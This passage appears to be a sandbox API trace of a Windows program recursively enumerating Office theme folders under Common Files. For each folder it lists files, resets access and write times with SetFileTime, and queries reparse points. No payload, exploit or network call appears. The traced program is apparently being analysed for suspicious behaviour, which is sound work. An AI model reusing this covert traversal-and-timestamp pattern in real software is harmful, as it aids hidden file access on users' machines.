(HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0241.812] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.INF", cAlternateFileName="")) returned 1 [0241.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0241.812] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0241.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0241.812] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0241.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0241.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910f50 [0241.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9148d8 [0241.812] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0241.812] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0241.812] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0241.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0241.812] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0241.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0241.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910f70 [0241.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x915a60 [0241.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0241.813] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0241.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0241.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0241.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0241.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0241.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910f90 [0241.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x915b68 [0241.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0241.813] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.813] GetLastError () returned 0x12 [0241.813] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0241.813] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0241.813] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.813] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a45100, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8a45100, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb0ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.ELM", cAlternateFileName="")) returned 1 [0241.813] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.INF", cAlternateFileName="")) returned 1 [0241.813] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.813] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.813] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.813] GetLastError () returned 0x12 [0241.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0241.814] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0241.814] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0241.814] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.814] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE", cAlternateFileName="")) returned 1 [0241.814] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.814] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0241.864] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0241.864] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0241.864] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x916a60 [0241.864] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x916a60, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x916a60, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0241.864] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x916a60) returned 1 [0241.864] NtClose (Handle=0x1bc) returned 0x0 [0241.864] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.865] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.865] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0241.865] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0241.865] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.865] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x915c70 [0241.865] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0241.865] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.865] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d57e00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51eb22b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d57e00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1cf31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.ELM", cAlternateFileName="")) returned 1 [0241.865] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.865] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.865] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.865] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.865] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.865] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x915d78 [0241.865] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0241.865] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910fb0 [0241.865] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x915e80 [0241.865] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x700) returned 0x9136c8 [0241.865] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x916398) returned 1 [0241.865] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.865] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.INF", cAlternateFileName="")) returned 1 [0241.865] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.865] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.865] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.865] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.865] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910fd0 [0241.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x915f88 [0241.866] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.866] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.866] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.866] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910ff0 [0241.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x916090 [0241.866] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.866] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.866] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.866] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x911010 [0241.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x916198 [0241.866] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.866] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.866] GetLastError () returned 0x12 [0241.866] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0241.866] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0241.867] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.867] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d57e00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51eb22b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d57e00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1cf31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.ELM", cAlternateFileName="")) returned 1 [0241.867] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.INF", cAlternateFileName="")) returned 1 [0241.867] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.867] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.867] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.867] GetLastError () returned 0x12 [0241.867] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x915c70) returned 1 [0241.867] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0241.867] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x915d78) returned 1 [0241.867] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0241.867] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE", cAlternateFileName="")) returned 1 [0241.867] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.867] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0241.897] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0241.897] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0241.897] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x916398 [0241.897] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x916398, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x916398, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0241.897] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x916398) returned 1 [0241.897] NtClose (Handle=0x1b0) returned 0x0 [0241.898] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.898] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.898] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0241.898] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0241.898] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0241.898] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, 